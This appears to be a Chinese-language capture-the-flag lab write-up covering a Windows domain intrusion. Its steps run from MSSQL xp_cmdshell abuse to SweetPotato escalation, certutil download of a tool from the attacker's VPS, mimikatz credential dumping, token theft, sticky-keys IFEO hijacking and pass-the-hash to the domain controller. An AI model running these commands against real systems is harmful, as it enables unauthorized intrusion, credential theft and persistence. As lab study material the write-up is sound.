使用fscan进行扫描【不知道为什么kali上的用不了。。。。】
然后发现存在mssql的弱口令而且还是sa(sysadmin)用户,可以用来执行shell
使用navicat连接,执行以下命令来开启xp_cmdshell
1 | exec sp_configure 'show advanced options', 1; |
使用以下命令来执行系统命令
1 | exec master..xp_cmdshell 'systeminfo' |
查看系统信息
1 | OS 名称:Microsoft Windows Server 2016 Datacenter |
执行以下命令,查看用户的权限,来使用合适的提权方式
1 | exec master..xp_cmdshell 'whoami /priv' |
1 | 特权名 描述 状态 |
这里开启了SeImpersonatePrivilege
特权,所以可以进行令牌窃取
选择使用sweetpotato进行提权,他是一个集成工具
然后是将这个文件下载下来,使用Certutil来下载文件【参考Windows下命令行下载文件总结】
将文件放在公网vps上,然后进行下载,要找有权限下载的地方,mssql服务就肯定是找他的目录了,为C:\Users\MSSQLSERVER
1 | python3 -m http.server 9999 |
1 | exec master..xp_cmdshell 'certutil.exe -urlcache -split -f http://vps:9999/SweetPotato.exe c:\Users\MSSQLSERVER\sweet.exe'; |
然后使用sweetpotato进行提权
创建用户,添加到管理员组
1 | exec master..xp_cmdshell 'C:\Users\MSSQLSERVER\sweet.exe -a "net user v2i 123456@qwe /add"' |
查看rdp有没有开
1 | exec master..xp_cmdshell 'C:\Users\MSSQLSERVER\sweet.exe -a "REG QUERY \"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\" /v fDenyTSConnections"' |
如果结果为0x0就是开启,否则就是关闭
然后手动开启
1 | exec master..xp_cmdshell 'C:\Users\MSSQLSERVER\sweet.exe -a "reg add \"HKLM\SYSTEM\CUrentControlSet\Control\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 0 /f"' |
然后使用kali的remmina进行rdp登录
得到第一个flag:flag{4f0113da-d86f-4728-9e72-d995584450ff}
在进行信息搜集的时候,发现这个机器不在域内。。
先使用fscan进行内网探测,我是使用共享文件夹的方式进行上传的
1 | fscan64.exe -h 172.22.8.0/24 |
得到结果
1 | 172.22.8.18:445 open |
所以内网还存在其他三台主机
1 | 172.22.8.15 [+]DC XIAORANG\DC01 域控 |
使用mimikatz来提取用户hash,要用管理员权限打开命令行
1 | mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit |
这里发现了John用户的hash
1 | Authentication Id : 0 ; 594235 (00000000:0009113b) |
但是解不出来,所以没啥用
查看网络连接状态,发现有其他用户使用rdp连接了这台主机
使用query user
(简写quser),发现是john在连接
所以这台主机是存在John的令牌的,尝试令牌窃取,使用SharpToken如果报错的话,就去网上找,按照对应的东西就行
执行以下命令进行令牌窃取
1 | SharpToken.exe execute "WIN-WEB\John" cmd true |
成功窃取到John的令牌,来开启命令行
使用net use
查看有网络共享
查看发行了一个xiaorang.lab域用户的账户密码,并给出了提示,镜像劫持
xiaorang.lab\Aldrich:Ald@rLMWuy7Z!#
这里先使用frp搭建一个内网代理,否则无法从外部连接到目标机器
frpc.ini
1 | [common] |
frps.ini
1 | [common] |
kali要配置/etc/proxychains4.conf
1 | socks5 <vpsip> 1000 |
先使用CME来探测一下这个用户可以在哪个主机上登录
1 | proxychains crackmapexec smb 172.22.8.0/24 -u Aldrich -p 'Ald@rLMWuy7Z!#' --loggedon-users |
有三个主机提示密码到期
1 | 172.22.8.46 |
因为没有啥好用的方法,所以一个个试
1 | proxychains rdesktop 172.22.8.46 |
发现172.22.8.46
可以登录,然后按照要求修改密码即可
但是发现不是高权限用户,按照提示使用映像劫持(IFEO)
先查看一下注册表权限
使用powershell
1 | Get-Acl -path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" | fl * |
发现所有用户都可以创建键值
设置劫持粘滞键sethc
(按5次shift出现)
1 | reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe" |
然后锁定用户,按5次shift,弹出命令行,提权到system
然后创建用户,添加到管理员组,然后使用本地管理员登录
1 | net user v2 123456@qwe /add |
得到flag2:flag{72cbfc36-11a0-4469-84e9-e399bcd9b5fa}
然后重新连接,使用以下命令来开启rdesktop,设置共享文件夹
1 | proxychains rdesktop 172.22.8.46 -r sound:local -r disk:LinuxPictures=/home/kali/Desktop/thm_tmp/ |
然后使用mimikat来抓取hash
1 | mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit |
这里发现了一个域内机器账户的ntmlWIN2016$:d5ddcd31948025648439184942c3fe92
然后发现这个账户在域管理员组【因为后面添加的本地管理员不在域里,所以需要切回之前的域用户来查看域管理组信息】
然后使用mimikatz进行hash传递
1 | mimikatz.exe "privilege::debug" "sekurlsa::pth /user:WIN2016$ /domain:xiaorang.lab /ntlm:d5ddcd31948025648439184942c3fe92" exit |
然后会弹出一个命令行,就可以使用访问域控里的文件了
得到最后的flag:flag{63bb126b-495c-431d-b2de-55435d417cd0}